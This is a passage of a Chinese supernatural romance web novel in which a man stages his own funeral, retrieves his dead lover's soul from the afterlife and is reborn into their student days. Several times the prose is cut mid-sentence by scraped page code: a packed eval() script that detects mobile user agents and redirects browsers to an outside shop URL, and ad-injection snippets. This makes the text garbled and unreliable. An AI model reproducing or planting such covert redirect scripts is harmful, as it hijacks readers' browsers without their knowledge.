《恋爱脑老婆今天也想创死我》 2. 给自己开追悼会 “先生,您,您刚刚说什么?请再说一遍。” 本来还一脸温和亲切笑意的女殡仪服务员,脸上的笑僵住了,说话都带着点结巴,这在行业里算是十分罕见的,毕竟这种特殊职业人士一般心性都比较沉稳。 “我说,因为我是要开自己的追悼会,所以暂时还没有死亡证明,能延后补办吗?”傅彻并没有计较,反而态度很是淡定的再次重复了一遍。 女服务员:??? 还有这操作? 尽管感到震惊与不可思议,但出于职业素养,她还是认真回答了这个问题。 “先生,是这样的,我们这从未出现过由逝者本人作为经办人预约登记的情况,请稍等一下,我请示一下上级。” 语毕,女服务员先是行了个标准的鞠躬礼表示歉意,接着拿起面前的功能话机拨了个电话。 在电话里与自家上司简短干练地汇报完后,得到了否定的答案。 虽被驳回,女服务员却松了口气,她其实并不想参与这么一场诡异的活人追悼会。 挂断电话后,她重新直面傅彻那张俊美无俦的脸,正式回答了他刚刚的提问。 “很抱歉这位先生,我们老板说,这样不符合我们的手续要求,所以很遗憾无法接受您的预约。” 傅彻虽早有预料,但多少还是有些失望。 这已经是第五家拒绝他的殡仪馆了,再这样下去,时间恐怕要来不及了…… 想到这,傅彻眼眸越发幽深,黑沉沉的瞳孔如同漆黑夜色下的古井,就那样静静地凝视着她。 气氛突然变得低沉压抑起来。 女服务员吓了一跳,急忙低垂眉眼做恭敬姿态,故作镇定。 傅彻点了点头没说什么,转身离开,可在走到门口前,他突然回头望了一眼这家殡仪馆的名字,然后就真的走了。 过了几天,照例踩点上班的女服务员林雅如,得到了一个惊人的消息。 ——公司被收购了。 边吃面包边刷公司群消息的林雅如手指一顿,手机上的聊天页面,消息不断快速自动往下刷新。 她的眼中倒映着莹蓝色的屏幕反光,脑海里渐渐凝聚出一个长相极其俊美的男子。 在公司网站正式变更CEO后,刷出来了一张让人过目难忘的脸。 果然是他! 林雅如吞咽下口中咀嚼良久的面包,心中没有丝毫意外。 那天那人临走时回头望过来的目光,她至今无法忘怀。 就好像对方很笃定他一定能够回来一样。 看着不断滚动刷新的消息,同事们皆对这位履历极其出彩的新任CEO很满意,更有甚者还在期待对方能够对公司进行大改革,换行业之类的。 只有林雅如知道,这家公司估计没多久又得再次变更CEO职位。 傅彻以钞能力解决了一切问题之后,计划终于能顺利进行下去了。 c省所有曾参加过纪斯沐追悼会的人,都突然间收到了一封古怪的白事请柬。 【我将死于2202年8月15日凌晨,特邀诸位亲朋好友前来悼念。】——落款:傅彻 当所有人在殡仪馆的追悼厅汇合时,都不由得面面相觑。 罪魁祸首傅彻根本不在意这些人的想法。此时的他正穿着一身黑色的定制西装,双目紧闭,安安静静地躺在大厅中央的百合花丛中。 那是曾经纪斯沐追悼会时所布置的场景,而如今就跟复制粘贴过来了一样。 看到面前的假死人,在场众人更懵了。 他们聚在大厅一处角落,完全不敢靠近中央那位追悼会主角。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689049|144347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提前给自己办葬礼,这种事他们还真是头一次见,不,应该说是连听都没听说过。 惊讶之余,不由悚然,这人…像疯了…… 可傅彻手下的傅氏集团过于强盛,如若因为不来而得罪对方,导致未来失去和傅氏合作的机会,那可真是得不偿失,所以所有接到请柬的人,犹豫再三,全都乖乖过来了。 新晋为傅氏员工的主持人拿着演讲稿和话筒,从门外走进来时,因为太过紧张和忐忑,走着走着突然踉跄了一下,差点摔地上,幸好被旁边的一位好心人扶了一把。 在念完开场致辞后,主持人终于宣布追悼会开始了,哀乐随之奏起,肃穆庄严的氛围弥漫开来。 被赶鸭子上架的治丧机构负责人无奈上台,因为没有演讲稿,只能现想,最后硬是靠着过往的经验,磕磕巴巴地致完悼词。 一切进展到这里还算正常,可当需要遗体告别时,在场众人都沉默了。 他们目光诡异地注视着躺得特别老实,一动不动的假死人傅彻。 最后还是在主持人不断的催促声中,集体绕傅彻“遗体”走了一周,然后还老老实实深鞠躬做最后的告别。 他们心里也不是不别扭,可是没办法,权势比不过人家,只能给对方当孙子,傅彻叫他们干啥他们就得干啥。 因仪式过于复杂,等追悼会进入最后阶段的时候,天色都快暗下去了。 在献花和告别仪式上,所有人都动作飞快地扔完花就跑,生怕太阳落山。 因为他们这有一种说法。 地府鬼差会在追悼会上带走亡灵,拘去转世投胎。 可这次傅彻的行为相当于是在戏耍鬼差们,应是会遭到报应,要是他撞鬼了牵连到他们怎么办? 所以他们得赶在鬼差到来前离开。 3. 假死跟鬼差借东西 天边的太阳缓缓落下,金黄的余晖照射在空无一人的追悼厅中,照射在那张夺目俊美的脸庞上。 本只是在假寐的傅彻,随着夕晕消失,月亮爬上枝头,突然困意袭来,呼吸渐渐变得平缓,慢慢陷入了沉睡。 浑身透明状的傅彻,先是扫了一眼面前自己的身体,转身就要往门外走。 灵魂离体他自然有过了解,这本就在他计划之内。 可在跨出房门的一刹那。 “你这生魂,好生大胆!” “以符咒覆盖全身,隐藏生者气息,只为吸引我等前来,人类当真是有趣的生物~” 两道声音先后响起。 一黑一白两道身影,突兀地出现在傅彻面前。 头戴黑帽,身着黑袍的男子,全身肤色为青黑色,手上还拿着一条深黑色的索魂链,在地上拖拽着发出哗啦哗啦的响声。 白衣白帽的男子则更诡异可怖,长达三尺的舌头垂落而下,手上拿着一根黏着白色碎布条的木棒,面上还带着古怪的笑。 面对他们的审视,傅彻没有畏惧,而是看了一眼他们头顶高帽上的两行字——【天下太平】、【一见发财】。 “在下不过是一介肉体凡胎,两位上仙身份尊贵,自是需以非常规的手段才能面见,还请二位大人息怒。”傅彻收回视线,谦卑道。 白无常谢必安看着面前这个浑身散发着功德金光的人类,有些无语。 见过装逼的,没见过这么装逼的。 “哼,不就是仗着自己功德在身,阴邪不侵,才敢如此胆大妄为么。”黑无常范无救完全不给面子。 傅彻一时哑然,这黑无常到底会不会聊天啊? 乐子人白无常倒是劝了一句,“老黑,别吓着人家了,就算他身怀功德,也只是一介凡人罢了,经不起你的吓唬。” 黑无常知道自己这位同僚的德性,撇了撇嘴,不再开口。 要是不让对方搞清楚事情的原委,他能够和他探讨上一整年。 他可不想找罪受。 杠精黑无常安静下来后,气氛明显融洽了不少。 傅彻松了口气。 他看了看白无常手中的哭丧棒,学着古代人行了个作揖礼,恭敬道,“在下斗胆想向白大人借用一物。” “哦?”,白无常挑眉,惊奇道,“阴间鬼差之物,皆为寻魂捉鬼所用,你借这些做什么?” 没等傅彻回答,他似有所料,晃了晃手中的哭丧棒。 “我与老黑虽同为阴差,却所责不同。” “我为寻,他为捉。” “所以,你是想借哭丧棒?” 被对方一语道破,傅彻没有意外。 普通人都能人老活成精,寿命悠长的鬼神又岂是愚钝之辈? 他点了点头,诚恳道:“白大人若肯将哭丧棒借在下一用,在下愿死后供大人驱使。” 驱使后面没有加上时限,也就是说,这个约定的时间可为无限。 白无常晃动哭丧棒的手一顿,好心劝诫:“亡灵寻回也不可重生,找到对方的价值根本比不上你的自由。” 傅彻微屈的身子不动。 良久,他才声音低沉地开口,“他被困在那里太久了。” 白无常明悟,“那人死于非命?” 傅彻点头,“正是。” “困守死亡之地的魂灵,只有抓到新来的亡灵替代自己,才能超脱。可这会让对方变成恶灵,入了地府也需受刑。”白无常顺着往下猜。 傅彻面色微沉,忍不住开口打断了白无常猜谜的兴致,“他名唤纪斯沐,死于车祸自杀,不知为何困守亡地十年之久,始终不愿离去,也不肯找替死鬼,现在已经渐渐失去理智,快要变成没有人性的鬼怪。” 白无常倒也没有发火,而是点明主题,“鬼魂为三魂七魄所筑,丢失了掌握情感的七魄,只余象征欲望的魂,那么就会变成没有人性的鬼怪。看来你要这哭丧棒就是为了找这个叫纪斯沐的魄?” “正是如此。” ,傅彻回。 看着面前的人类,白无常思索片段,动用了鬼差神技。 纯黑的瞳眸掠过一道金光。 半晌,闭合双眼,金芒散去。 已通过技能看完傅彻生平的白无常,忍不住道:“这个疯子……” 围观的黑无常也好奇了,能够让白无常都失态的人可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689050|144347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多。 同样只有漆黑瞳仁的眼珠跟着闪过一道金光。 “苟活十年竟只为积累功德……” “逆天改命本为天理不容,可你竟另辟奇道,以满身功德为引、自身性命为祭,只为向上天求愿,让这亡魂重来一世幸福一生?”黑无常表情逐渐凝固。 “……这是我欠他的。” “你可知,逆天改命哪怕成功了,献祭之人也会陷入求而不得的轮回。” “这是对逆天者的惩罚,所以,你将再无可能与对方在一起,甚至永生永世不得解脱。” 白无常一惯看戏的表情消失,目光锐利地盯着傅彻。 “只要有一世被爱过,就够了。” 傅彻抬起头来,直视对方。 黑无常面色复杂地补充,“上天是公平的,就像一台天平,你想让一个本该痛苦一生的人改变命运,那么你将付出千百倍的痛苦,来让这台因你而倾斜的天平,重新保持平衡。” 傅彻没有意外,逆天之举的代价,他早已知晓。 但是,每当看到幻觉里,纪斯沐因他而痛苦的神情,他心脏处的疼痛就会增添一分。 他还为此怀疑那个幻觉是纪斯沐的鬼魂前来复仇。 可后面问了得道高僧,方知是他由爱生幻。 他本以为纪斯沐死后,他会像曾经的父亲一样,找到新的爱人,开始新的人生。 可形影不离的幻觉让他知道,他恐怕一辈子都忘不了这个人。 他日夜望着“纪斯沐”,终于看清那人眼底蕴含着的浓烈的爱。 为什么要救他这个问题的答案,他其实早已知晓。 不过是因为爱他罢了。 可傅彻的爱让纪斯沐陷入痛苦疯狂,他觉得,不被人所爱才是他应得的结局。 所以…… “还是不要去祸害别人了。” 傅彻心中呢喃。 最后,白无常还是将哭丧棒借给了他,却好心留下了一句。 “大道五十,天衍四九,人遁其一。” “事在人为,你的承诺我先保留,日后会和你讨回来的。” 毕竟是未来的下属,白无常选择宽慰几句。 4. 我把一切都还给你 人世间的七情六欲组成了一个人完整的灵魂,其中七情化为七魄,六欲形成三魂。 当亡灵失去六魄,只余三魂一魄,会变成什么样子? 没有人知道。 因为,所有看到鬼怪的活人,都死了。 除了……现在站在纪斯沐面前的傅彻。 重回故地,往事回溯。 十年过去了,那时布满鲜血的车祸现场,此时已经变成了正常的街道。 正值深夜,本就人烟稀少的街道上,现在更是只有傅彻一人。 他静静地望着面前曾经的恋人。 纪斯沐残破的衣服上满是深红色的血块,一头原本清爽干净的短发,变得邋遢脏污,长到能遮住一整张脸。 曾经的天之骄子,现在却连魂体都不全。 而一切的一切,都只是因为纪斯沐爱上了他。 呆坐墙角不知多久的纪斯沐,突然像是感应到了什么。 僵直的脖子向傅彻所在的方向转去,发出咔咔的骨骼脆响。 傅彻所站的位置,正是困住纪斯沐亡魂的圈子之外。 他静静地注视着纪斯沐因车祸而扭曲的四肢,看着他站起身一步一顿地向他靠近。 许久,纪斯沐终于走到他面前。 如杂草般凌乱的长发下,一双浓墨般的眼睛,直直地盯着他。 傅彻没有后退,任由对方伸手隔着看不见的墙,用手指细细描绘着他的五官。 生前纪斯沐最喜欢他这张脸,说他看似禁欲的外壳下,其实充斥着野心。 他说得没错。 最后,欲望促使他咬碎了饲养他的主人的骨头,一点一点吞咽下去。 “你有没有后悔过呢?” 傅彻轻启唇,小声呢喃。 像自语,又似发问。 “呵…哈……” 七魄中只剩下情爱之魄的纪斯沐,人性早已接近泯灭,根本回答不了这个问题,只是固执地伸着血迹斑斑的手,想要触碰面前这个人类。 不知看了多久,傅彻终于上前一步,主动将脸靠上了那只手的掌心。 冰凉的触感让他睫毛微颤。 时隔十年,他终于再次触碰到了这个“人”。 化为鬼怪的纪斯沐不懂发生了什么,只知道,他终于触碰到了这个让他一眼就想靠近的人类。 纪斯沐发出小声的呵呵声,像在高兴,又似兴奋。 傅彻呼吸微微急促,本就不平静的内心,掀起了涟漪。 哪怕到死,纪斯沐的灵魂深处,都在爱着他,追逐着他。 得知真相,傅彻只觉心口更为酸涩。 明明他对他做了那么多错事,可纪斯沐还是深爱着他。 “……傻不傻?” 傅彻闭眼深吸了口气,缓和了下情绪。 左手轻抚上脸庞上的那只手,右手轻轻挥动手中的哭丧棒。 狂风骤起,浓烟突现。 白茫茫的一片中,唯有中心处的两“人”双手紧握。 懵懂无知的纪斯沐,根本不管自己身上发生了什么,只是双手紧抓着傅彻的手不放。 而在凡人看不见的视角里,属于傅彻身上的功德金光,正在快速流向手中的哭丧棒。 哭丧棒内延伸出六条金线,牵引向六个不同的方位,为纪斯沐遗失方向的六魄引路。 时间快速流逝,傅彻淡漠的脸庞流下一滴汗液,挥动哭丧棒的动作没停。 直到最后一个魄顺利归位,纪斯沐陷入昏迷,傅彻才扶着对方慢慢靠坐在墙边喘气。 以凡人之躯开天眼,驱神器,所消耗的精力实在太大,傅彻一时有些缓不过来。 他闭目喘息片段,抬首注视着天边的圆月,终是站起身来。 身上金光大盛,在空中化为一篇长长的佛经,如潮水般涌向仰躺在地面上昏迷不醒的纪斯沐。 当最后一个字符涌入纪斯沐魂体内,傅彻终于松了口气,步履不稳地离开了那里。 ————————— 公元2202年8月15日凌晨,c省首富傅彻意外车祸身亡,死后遗产曝光,表面光鲜亮丽的傅总,实则银行卡里的余额不超过三位数。 而在其追悼会上,突然涌现大量称其为恩人的普通人。 据了解, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 原来傅总十年期间到处奔波,不止是为了事业,更是为了到处做志愿者帮助他人。 更让c省人民震惊的是,听闻傅彻不幸离世的消息,当地政府专门派遣人员前来悼念,最后离开时,官员说不能让对国家有恩的科研人员寒心,决定彻查此事。 c省全省戒严,所有涉黑的组织皆对罪魁祸首傅彻恨得牙根痒痒。 此事动荡了一年之久,才慢慢平息,以事故作为结案。 ————————— 而与此同时,另一条时间线的起点。 灵魂体的傅彻看着把他带回地府后,什么话都不说,就盯着他看了得有半小时的白无常,头皮发麻地先开口了,“白大人,我需要做些什么吗?” 傅彻心中坚定,不管等下白无常说什么,都坚决表示自己卖艺不卖身。 白无常脑海里回忆起刚刚发生的事。 端坐于高台之上交椅的阎王,看着面前桌上由天所书的人书,用威严浑厚的声音向他说明。 “人是复杂的生物,任何风吹草动皆可改变一个人。” “而傅彻,他对纪斯沐的爱就是永恒而不变的。” “所以只有他,才能带给纪斯沐真正的幸福。” 白无常询问是否需要告诉傅彻真相,却得到了否定的答案。 “人书之上只说让我们不要管,其余之事自有天道安排。” “更何况,他欠下的痛苦,总需要还。” 白无常回想起他之前说过的那句“大道五十,天衍四九,人遁其一。” 本意是为安慰,没成想倒是一语中的。 真是好运啊这个人类。 白无常心中感慨。 傅彻被一言不发的白无常带到另一条时间线的自己面前,正有些发蒙,就被对方使用法力融合在了一起。 本就同源的两个灵魂相融,相当于过去的自己拥有了未来的记忆。 等过去的傅彻头脑发昏地接收完未来的信息,还没来得及反应,就被一阵大力的敲门声砸回神。 纪斯沐冷冽的声音在门外响起,“傅彻,你这个疯子,还不快给我开门!” 5. 分手变官宣? 傅彻揉了揉发疼的眉心,动作迟缓地站起身来。 打开宿舍门,门外站着一名穿着黑色冰丝衬衫的男子,对方五官偏向美型,一双蓄满怒意的桃花眼瞪着人时依旧勾人。 傅彻张了张嘴想说些什么,却没发出声来。 纪斯沐不着痕迹地打量了眼面前才18岁的傅彻。 一身普通白T,蓝色修身牛仔裤,典型的穷大学生装扮。 他侧过身子,朝身后跟了一路的人示意,“过来。” 傅彻原本平静的表情在见到那人时变得难看起来。 “傅彻,你可别跟我说,你不认识这位傅,学,弟。” 纪斯沐说到后面三个字时,一字一顿,故作强调。 傅彻垂眸,并不作答。 拥有前世记忆的他,自然知道纪斯沐此行的目的。 “当初刚在一起时,我就说过了,一旦我说出我爱你这三个字,我们之间就再无分手的可能。那时你说,除了生死,谁也不可能让我们分开。”突兀的,傅彻开口说了这么一段话。 我爱你三个字如同带着魔法,又恍若诅咒,将纪斯沐整个人定在原地。 嘴角上扬的弧度慢慢往下拉,像是听到了什么恶言。 上辈子这人每次争吵都用“我就是太爱你了”来当借口,不成想这一世这么早就开始了? “谈恋爱分手不是很正常吗?傅彻,你该不会都没谈过恋爱吧?” 他突然开口嗤笑,言语中满含恶意。 出乎纪斯沐意料的是,傅彻还真就点了点头,他脸上的嘲笑一下子就僵住了。 这人上辈子手段那么厉害,居然还是初恋? 真假? 纪斯沐顾不得生气了,心脏砰砰直跳。 旁边围观的傅时磊见心上人好似要回心转意,急忙开口打断,“纪学长,我们不是来确认我哥是不是为了报复我,才和你在一起这件事的吗?” 纪斯沐冷静下来,过快的心跳渐缓,用眼神示意他拿出手机,递给傅彻,让他翻看。 傅彻淡然接过,随手往下翻阅。 手机上正是他和傅时磊的聊天页面,上面通通是傅彻在秀恩爱的消息。 有纪斯沐跑很远的地方,只为给傅彻买他喜欢吃的食物;或者傅彻半夜生病,纪斯沐不顾宵禁背着他去医院;还有各种节假日的礼物与惊喜等等等等,一大堆,一时半会根本刷不完。 傅彻停下滑动的手指,一脸疑惑地发问:“有什么问题吗?” 傅时磊幸灾乐祸的表情一僵,对傅彻的脸皮厚度有了全新的认知。 傅彻像是没看到他这个人似的,只专注地盯着纪斯沐说:“傅时磊喜欢你,我想要铲除情敌,不可以吗?” 纪斯沐:“……” 傅时磊:“……” 这人睁眼说瞎话的本事真是越来越厉害了。 “那你怎么就只针对他一个,其他情敌就不重要了?”纪斯沐毫不留情地拆台。 傅彻没说话,只是从口袋里拿出自己的手机,开屏后点击了几下屏幕,像在发什么东西。 没过一分钟,他重新把手机收了起来,一脸淡定地说:“好了。” 纪斯沐茫然发问:“什么好了?” 这是答应分手了? 傅时磊也是这样想的,兴奋到快哭出来了。 那可是他暗恋了整整三年的男神!他就是为了纪斯沐才进的A大! 现在男神恢复单身,他岂不是有机会了? 傅彻看着喜形于色的傅时磊,朝他勾唇挑衅一笑,接着回头对纪斯沐温柔地说:“我刚刚在学校论坛宣布了我们谈恋爱的事,以后不会再有不长眼的人来烦你了。” 不长眼的傅时磊:“……”这人真的好贱啊。 纪斯沐也被他的操作骚到了,上一世死活不肯官宣恋情的傅彻,这一世居然这么轻易就曝光了? 傅彻倒是什么反应都没有,就好像是随手发了条朋友圈。 剧情走向有点离谱,纪斯沐突然被迫出柜,还有些发蒙。 傅时磊就坐不住了,着急忙慌地点开学校论坛。 果然,论坛上都炸了。 不少潜水党都被炸了出来。 此时那篇楼主名为傅彻的帖子已经被顶上了热搜榜第一。 【傅彻:我们在一起了。死生契阔,与子成说。@纪斯沐】 楼下全都是在骂这个突然冒出来的新人神经病,想屁吃的,根本没有人相信楼主说的话。 【匿名网友1:不是,这楼主是新生吧?谁不知道校草纪斯沐根本就是个直男好吧?】 【匿名网友2:顶楼上,纪校草都谈过多少个女朋友了,怎么可能是弯的!】 【匿名网友3:楼上+1】 【匿名网友4:楼上+2】 【……】 【匿名网友666:楼上+10086】 后面就是一大群网友,起哄嘲笑楼主自作多情的留言了。 看到论坛走向,傅时磊松了口气。 要是让学校里的人知道纪学长是弯的,那他的竞争对手可就多了。 毕竟纪学长这张脸简直男女通杀啊! 其实纪斯沐这次过来找傅彻,就是为了和他彻底断绝关系,避免像上一世一样被他算计。 没成想,计划赶不上变化。 分手没分成,还毫无预兆地出了个柜。 正火冒三丈呢,手机消息提示音还接二连三地响起来,吵得他额头青筋直冒。 吵死了。 纪斯沐被烦得直接关机,打算和罪魁祸首算账。 傅彻则好心情地在论坛上到处炫耀恋情。 【回复楼上,纪斯沐是弯的,他根本没有交过女朋友,我是他初恋。】 【真爱不在乎性别。】 【我不丑,斯沐说过最喜欢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我这张脸了。】 在旁边看了没一会儿,纪斯沐实在看不下去了,伸手夺过他的手机,直接按灭屏幕。 他一脸火大地发问:“傅彻,你到底想干什么!” 都准备分手了,现在官宣恋情根本就是个麻烦。 傅彻则好整以暇地说:“我在针对情敌啊。” 纪斯沐呼吸加重,咬牙切齿地挤出一句,“所以你连商量都不和我商量一下,直接拉着我陪你出柜?” 傅彻好似才发现问题,有些苦恼地问他,“难道你不愿意吗?” 纪斯沐:“……”不是,你哪只眼睛看到我愿意了? 傅时磊:“……”这货真是我哥? 见他们都不说话,傅彻也不在意,而是自己接着往下演。 “那怎么办,我刚刚不小心把我们两的合照发帖子上去了。” 语气中充满了懊恼。 纪斯沐两眼一黑,这下更洗不清了。 傅时磊则气得整个人都快跳起来了。 傅彻就跟没事人似的,把手机拿回来后,拉着还在发蒙的纪斯沐说:“一大早就跑过来,是不是又没吃早饭?” 纪斯沐正在发愁等下要怎么应付自家老爸和后妈的刁难,根本没心思搭理他,还是被傅彻硬拖着往前走的。 傅时磊则偷偷摸摸编辑短信准备向傅父告状。 傅彻似有所觉,侧眸扫了他一眼,嘴巴上下开合,无声地说:你敢说试试看。 傅时磊一个激灵,真的就怂了,默默放下手机,装作无事发生。 傅彻收回视线,若无其事地拉着另一个麻烦精纪斯沐往外走。 一路上,傅彻和纪斯沐两个人,不知道“偶遇”了多少个因为好奇前来围观的学校同学。 傅彻倒是坦坦荡荡,他们拍他们的,他走他的。 纪斯沐就不行了,心虚地想把被傅彻牵着的手拽出来。 第一下没拽出,第二下使劲到脸都红了还是纹丝不动。 这狗男人吃什么长大的,力气这么大。 纪斯沐无奈放弃,心中腹诽。 为了避开那些凑热闹的同学的视线,纪斯沐低垂着头,埋在傅彻的后背上,贴着他走。 傅彻笑了笑没有制止。 两个人连体婴似的往学校食堂走去。 等纪斯沐反应过来他干嘛要听傅彻的话时,他的面前已经摆好了一碗香喷喷的牛肉面。 肚子适时发出咕噜咕噜的响声。 傅彻听到声音,有点想笑,但考虑到某人的脸皮太薄,还是压住嘴角的笑意把筷子递了过去。 纪斯沐脸红红地接过筷子,装作若无其事地吃面。 等吃完,纪斯沐拿出手机往傅彻的微信转了个面钱,接着连再见都没说,就赶紧溜了。 他觉得今天的傅彻很不对劲,太难缠了,而且按照前世的估算,他爸估计快要追杀到学校来了,得赶紧跑。 6.“我们分手吧。” 【我们分手吧。】 傅彻盯着手机上这行字看了得有半小时,眼神幽怨像在看着负心汉。 抬头扫了一眼面前的【304】宿舍门,傅彻在手机屏幕上敲击几下发送消息。 【纪斯沐,再不开门,我就再发咱俩的合照到论坛上。】 发完,他靠在宿舍门旁边的墙上,手指轻点手机壳侧面,在心里默数秒数。 等数到60秒,傅彻眉头紧皱,意识到了不对劲。 以纪斯沐的性格,收到他的威胁短信,肯定要暴跳如雷,开门找他对峙才对。 傅彻凝眉沉思片刻,手指滑动手机页面,停在了一个写着纪千千备注的猫咪头像上。 【千千,你表哥是不是被你纪伯父关起来了?】 前世他和纪斯沐谈恋爱的事情并没有这么早曝光,但当时遭到了纪父的强烈反对。 后面还是纪斯沐以死相逼才让纪父松口。 可纪斯沐从那时起,因为吞下过量安眠药,洗胃后虽然没有了生命危险,可肝肾功能却出现了一定的损伤,身体变得很怕冷,夏天穿的衣服也都比常人多,冬天更是手脚冰凉不敢出门。 傅彻一想起,每次一到冬天就冷得缩在他怀里直哆嗦的纪斯沐,奔跑下楼的速度就更快了。 等气喘吁吁地跑出校门,傅彻脸上的汗液多到直顺着轮廓鲜明的下颌往下滴。 可时间不等人,傅彻知道,现在的纪斯沐也拥有了上一世的记忆,就怕那傻子故计重施,再进一次医院。 他站直身子,平缓了下呼吸,然后伸手拦下了一辆出租车,报了纪家别墅小区的名字。 车内,傅彻闭着眼睛吹着空调,脑海里思绪纷杂,一会是上一世在急救室里洗胃的纪斯沐,一会是哭着抱着他说他现在真的没有家了的纪斯沐。 所有的纪斯沐都在崩溃大哭,好像自从傅彻出现在纪斯沐的世界里,他就一定会遇到不好的事情。 得到这个结论,傅彻感到呼吸困难,甚至肚子都隐隐作痛。 这是当人压力过大,情绪过于激动紧张导致的。 他努力放缓呼吸,宽大的手掌放在自己的肚子上,照着前世的经验慢慢平复情绪。 前座的司机师傅被这个一坐上车后,就神经质地大口呼吸的青年吓了一跳。 当他从后视镜看到这位客人躬着身子,很不舒服的样子时,终于忍不住开口劝道:“这位小兄弟,要不我拉你去医院看看吧,你这身体状态看着实在不太好。” 傅彻平缓了腹痛后,抬起头来,声音温和地拒绝了:“没事的师傅,我就是早上没吃饭,胃病犯了。” 司机师傅还真就信了,他松了口气,语气轻快了不少,“不是大病就好,刚刚真是吓了我一跳。” 傅彻也跟着不好意思地笑笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691292|144347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 见这年轻人脾气不错,司机师傅倒是打开了话篓子,一路上都在叽叽喳喳个不停。 “要我说啊,你们这些年轻人,就是不爱惜自己的身体。等老了,年纪到了,什么慢性病都找上门来了,到时候可怎么办啊……” 无缘无故被一陌生人说教了一顿,傅彻倒没有生气,反而很是配合地时不时应和几句。 等到了地方,司机师傅的倾诉欲得到了极大的满足,还好心送了一瓶矿泉水给他。 下了车,傅彻抬步往旁边的别墅区走去。 纪家别墅位于A大附近最大规模的别墅小区,里面居住的都是身价过亿的商业大佬们,所以进出管得很严,来往访客都需要登记。 临近小区大门,傅彻想了想,在旁边的水果摊上买了个水果篮。 摸了摸脸上的口罩,傅彻心想,读档重来就是不一样,到时候就用看望学长作为借口进去好了。 小区保安抬头望了眼头上的烈日,再看了看面前全部武装连脸都没露出来的傅彻,嘴角微抽地挂断咨询电话,登记了纪千千访客的名字。 傅彻就跟没看见他看傻子一样的目光似的,低垂着头往里面走。 等他熟门熟路地走到纪家别墅门口时,别墅内传来一道清亮中带着愤怒的声音。 “我都说了我会和他分手!会和他分手!你到底还要我怎么样!!!” 7.骗婚 声音由清晰渐渐变得模糊,还带着一连串凌乱的脚步声,像是有人被硬拽着往里走。 【傅哥,我表哥被逼着相亲的事你知道吗?】 【……什么?】 【最新消息,听说对方是从小暗恋我表哥的千金大小姐!】 傅彻拿着水果篮的手一点点收紧,目光晦暗不明,静静地注视着面前的别墅庭院大门。 轻奢风格的铝艺大门,门内金碧辉煌、雕梁画栋,门外站着的他,全身上下的装束不到四位数,不说一贫如洗,就是刚好符合囊中羞涩的穷小子人设。 现在这位名为傅彻的穷小子,手里拿着三位数的路边摊水果篮,按下了面前高端先进的可视门铃。 不出片刻,门铃的另一边传来管家温和有礼的询问声:“您好,这里是纪家主宅,请问您是?” 傅彻压低头上的鸭舌帽,帽檐下那双漆黑如墨的眼隐入阴影里。 “您好,我是纪千千小姐叫来的外卖小哥,说是要给这里的大少爷送些东西,而且顾客特意嘱咐要对方当面接收。” “请稍等。” 对面的声音消失了,片刻后,铁门吱吱地响起来。 面前阻碍道路的铝艺大门,缓缓打开。 傅彻微微低垂着头颅,抬脚步入院中,步履缓慢而坚定。 晚风吹拂过他略带湿意的发梢,额角的汗液滑落脸庞,在阳光中留下一道晶莹的水光。 夏季的晚风吹拂走炽热的温度,却带不走傅彻因紧张不安而引起的躁动。 满头银发的老管家,穿着一身精心裁剪的西装,布满岁月痕迹的脸庞满是皱纹,可却有着一双犀利且明亮的眼睛,仿佛能看透人心。 老管家深陷的双眼静静地注视着这位外来者,好似看出了什么,又什么都没说。 他沉默地在前面走着,带着这位试图拐走公主的饿狼往城堡走去。 当傅彻被领到一扇紧闭的房门前时,老管家躬身离开。 站在纪斯沐门前的傅彻,虽疑惑老管家的松懈态度,却没有心思深究。 门内纪斯沐与纪父的争论声传入耳中,打断了他的全部思路与计划。 “我分手短信也发了,你也亲眼看到了,怎么,你还不满意吗?” “只要你答应和林氏集团大小姐订婚,我就相信你说的话。” “啪嚓——” 房间内传来物品摔砸在地的声音。 “你疯了吗?你让一个同性恋去和一个女的联姻?” “这是骗婚你知道吗!” 青年的声音骤然提高,每一处停顿都宣泄着震耳欲聋的愤懑。 他打小就不适应纪父的谋利观,可他没想到纪父为了扩大纪氏集团,连这种缺德事儿都干得出来。 纪父厉声怒斥:“你情我愿的事儿,怎么能叫骗?” “你把这场充满算计的婚姻叫做你情我愿?”纪斯沐的声音弱了下来,透着深深的无力,像是突然失去了力气。 